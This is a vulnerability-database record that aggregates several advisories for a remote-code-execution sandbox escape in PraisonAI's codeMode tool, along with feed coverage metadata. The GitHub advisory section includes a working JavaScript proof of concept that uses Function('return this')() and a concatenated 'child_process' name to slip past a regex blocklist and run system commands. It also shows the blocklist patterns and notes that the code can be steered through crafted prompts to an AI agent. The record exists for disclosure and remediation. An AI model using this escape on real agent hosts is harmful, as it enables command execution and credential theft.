{"id":"GHSA-p69m-4f92-2v84","revision":null,"records":[{"revision":"dbcb115c41b2486b88a1f101edbeae4b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-57141","aliases":[],"title":"PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool","description":"PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.","state":0,"publishedAt":"2026-09-15T10:14:16.721+00:00","modifiedAt":"2026-09-15T13:52:47.854+00:00","affected":[{"ecosystem":"Vendor product","name":"PraisonAI","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"MervinPraison\",\n                    \"product\": \"PraisonAI\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.7.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p69m-4f92-2v84","https://github.com/MervinPraison/PraisonAI/commit/709a0387853709a5e2f2c34680fa64cada252c27","https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.60"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-57141","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-57141","identifiers":["CVE-2026-57141"]},"retained":false,"historicalAffected":[]},{"revision":"06271b44da0c4315adadb225be7afa5e","observedAt":"2026-11-11T14:08:13.226+00:00","statement":{"source":"euvd","id":"EUVD-2026-78423","aliases":["CVE-2026-57141","GHSA-p69m-4f92-2v84"],"title":"PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist c…","description":"PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p69m-4f92-2v84","https://github.com/MervinPraison/PraisonAI/commit/709a0387853709a5e2f2c34680fa64cada252c27","https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.60"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-78423","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 15, 2026, 10:14:16 AM","dateUpdated":"Sep 15, 2026, 1:52:47 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-78423","identifiers":["EUVD-2026-78423","CVE-2026-57141","GHSA-p69m-4f92-2v84"]},"retained":false,"historicalAffected":[]},{"revision":"8ffaab912a6a447c91fa7102b6718964","observedAt":"2026-10-25T14:19:10.848+00:00","statement":{"source":"nvd","id":"CVE-2026-57141","aliases":[],"title":"PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist c…","description":"PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.","state":0,"publishedAt":"2026-09-15T11:17:11.617+00:00","modifiedAt":"2026-09-15T14:45:28.563+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/MervinPraison/PraisonAI/commit/709a0387853709a5e2f2c34680fa64cada252c27","https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.60","https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p69m-4f92-2v84"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57141","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-09-15T11:17:11.617","lastModified":"2026-09-15T14:45:28.563"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-57141","identifiers":["CVE-2026-57141"]},"retained":false,"historicalAffected":[]},{"revision":"cfa694e739d94a5ca271fa65fa102929","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-p69m-4f92-2v84","aliases":["CVE-2026-57141"],"title":"PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool","description":"## Summary\n\nThe `codeMode` tool in `src/praisonai-ts/src/tools/builtins/code-mode.ts` uses `new Function()` with a `with(sandbox)` pattern to execute LLM-generated code. The blocklist-based \"sandbox\" can be trivially bypassed via `Function('return this')()` to recover the global object, followed by `global.require()` with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.\n## Details\n**Vulnerable code (lines 187–191):**\n```typescript\nconst fn = new Function(\n  'sandbox',\n  `with (sandbox) { ${code} }`\n);\nconst result = fn(sandbox);\n```\n\nThe `code` parameter comes from LLM tool call arguments (the `execute` method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):\n\n```typescript\nconst blockedPatterns = [\n  /require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)/,\n  /require\\s*\\(\\s*['\"]fs['\"]\\s*\\)/,\n  /import\\s+.*from\\s+['\"]child_process['\"]/,\n  /process\\.exit/,\n  /eval\\s*\\(/,\n];\n```\n\n**Three fundamental weaknesses:**\n\n1. **`with(sandbox)` does not provide isolation.** The `with` statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets `process: undefined` and `require: undefined`, but these are recovered via the global scope:\n   ```javascript\n   const g = Function('return this')();\n   g.require('child_' + 'process')\n   ```\n\n2. **Blocklist evasion via string concatenation.** The regex `/require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)/` requires the literal string `'child_process'` or `\"child_process\"` inside `require()`. Using `require('child_' + 'process')` bypasses this because the regex sees a variable concatenation, not a literal string.\n\n3. **`Function('return this')()` is not blocked.** None of the blocklist patterns match `Function(`, `return this`, or `global.require`.\n\n## PoC\n\n**Setup:** Clean checkout at commit `d5f1114a`, Node.js v20.20.0 (tested environment).\n\n**Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):**\n```javascript\n// This code bypasses ALL blocklist patterns and achieves RCE:\nconst code = `\nconst Func = (function(){}).constructor;\nconst proc = Func('return process')();\nconsole.log('process.version:', proc.version);\nconst g = Function('return this')();\nconst mod = 'child_' + 'process';\nconst cp = g.require(mod);\nconsole.log('RCE:', cp.execSync('id').toString().trim());\n`;\n```\n\n**Observed output (executed in this environment):**\n```\nOUT: process.version: v20.20.0\nOUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)\n```\n\nThe escape was confirmed by executing the exact code-mode sandbox pattern (`new Function('sandbox', 'with (sandbox) { ... }')`) with the blocklist applied first. ALL blocklist patterns were bypassed, and the `id` command returned the real system user ID.\n\n**Negative control — blocklist correctly catches direct require:**\n```javascript\nconst code = `require('child_process')`;\n// Returns: \"Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)\"\n```\n\n**Negative control — blocklist correctly catches eval:**\n```javascript\nconst code = `eval('process')`;\n// Returns: \"Blocked pattern detected: eval\\s*\\(\"\n```\n\n**Cleanup:** No persistence needed; the code runs in-process.\n\n## Impact\n\nAn attacker who can influence the `code` parameter of the `codeMode` tool (via crafted prompts to an AI agent using praisonai-ts) achieves **full arbitrary code execution** on the host system. This includes:\n\n- **Read/write any file** accessible to the process user\n- **Execute arbitrary system commands** via `child_process`\n- **Exfiltrate environment variables** containing API keys, tokens, and credentials\n- **Install persistent backdoors** by writing to startup files\n- **Move laterally** in containerized environments\n\n## Suggested remediation\n\nThe `with(sandbox)` + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:\n\n1. **Use `vm` module with proper context isolation:**\n```typescript\nimport { createContext, runInContext } from 'vm';\nconst sandbox = createContext({ /* safe globals only */ });\nrunInContext(code, sandbox, { timeout: 5000 });\n```\n\n2. **Or use `isolated-vm`** for true process-level isolation with separate V8 isolates.\n\n3. **Or run code in a subprocess** (like the Python `_execute_code_sandboxed` pattern already used in `python_tools.py`) with a clean environment and resource limits.\n\n4. If a blocklist approach must be retained, add patterns for:\n   - `Function(` / `new Function`\n   - `constructor` / `__proto__` / `prototype`\n   - `return this` / `return global`\n   - `global` / `globalThis` / `window`\n   But note: blocklist approaches are inherently fragile and will continue to have bypasses.","state":0,"publishedAt":"2026-06-18T14:26:37+00:00","modifiedAt":"2026-07-20T21:56:45.692488+00:00","affected":[{"ecosystem":"npm","name":"praisonai","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p69m-4f92-2v84","https://github.com/MervinPraison/PraisonAI"],"sourceUrl":"https://github.com/advisories/GHSA-p69m-4f92-2v84","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p69m-4f92-2v84","identifiers":["GHSA-p69m-4f92-2v84","CVE-2026-57141"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T14:58:44.3363234+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T14:58:44.3363234+00:00","lastSuccessAt":"2026-11-13T14:58:44.5141359+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:58:44.5141368+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-321382fc5730a00bef582c627181233f63f76828d1f8c684a35769006df72dd6","complete":true,"records":425393,"lastAttemptAt":"2026-11-13T14:56:59.0753591+00:00","lastSuccessAt":"2026-11-13T14:56:58.979484+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:56:59.0753591+00:00","snapshotPublishedAt":"2026-11-13T14:29:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-41fc070ad7474f46a5b88698575a4dd5","complete":false,"records":13797,"lastAttemptAt":"2026-11-13T15:02:01.0234319+00:00","lastSuccessAt":"2026-11-13T15:02:01.0847205+00:00","error":null,"lastVerifiedAt":"2026-11-13T15:02:01.0847205+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T14:58:44.3363234+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T14:58:44.3363234+00:00","lastSuccessAt":"2026-11-13T14:58:44.5149276+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:58:44.5149277+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c4db44c2f8494656b34b99b9689fe3fd","complete":true,"records":13797,"lastAttemptAt":"2026-11-13T14:58:49.0732225+00:00","lastSuccessAt":"2026-11-13T14:58:49.069+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:58:49.069+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13850,"expectedIdentifiers":13850,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T14:58:40.3714043+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:58:40.3714043+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T14:56:59.1280107+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:56:59.1280107+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-b98055ddd8730ffa62c2a08d5fcf33dfdf9704c3bfb02936eddd878e2c44c283","complete":true,"records":3146,"lastAttemptAt":"2026-11-13T14:58:44.2985337+00:00","lastSuccessAt":"2026-11-13T14:58:44.1320252+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:58:44.2985337+00:00","snapshotPublishedAt":"2026-11-13T13:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-1c778759030c865168b5e9dee5772455ec2cc2e719ea7dfbebee29f18fbbe4ff","complete":true,"records":231771,"lastAttemptAt":"2026-11-13T14:58:40.2396052+00:00","lastSuccessAt":"2026-11-13T14:58:38.6112066+00:00","error":null,"lastVerifiedAt":"2026-11-13T14:58:40.2396052+00:00","snapshotPublishedAt":"2026-11-13T14:32:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}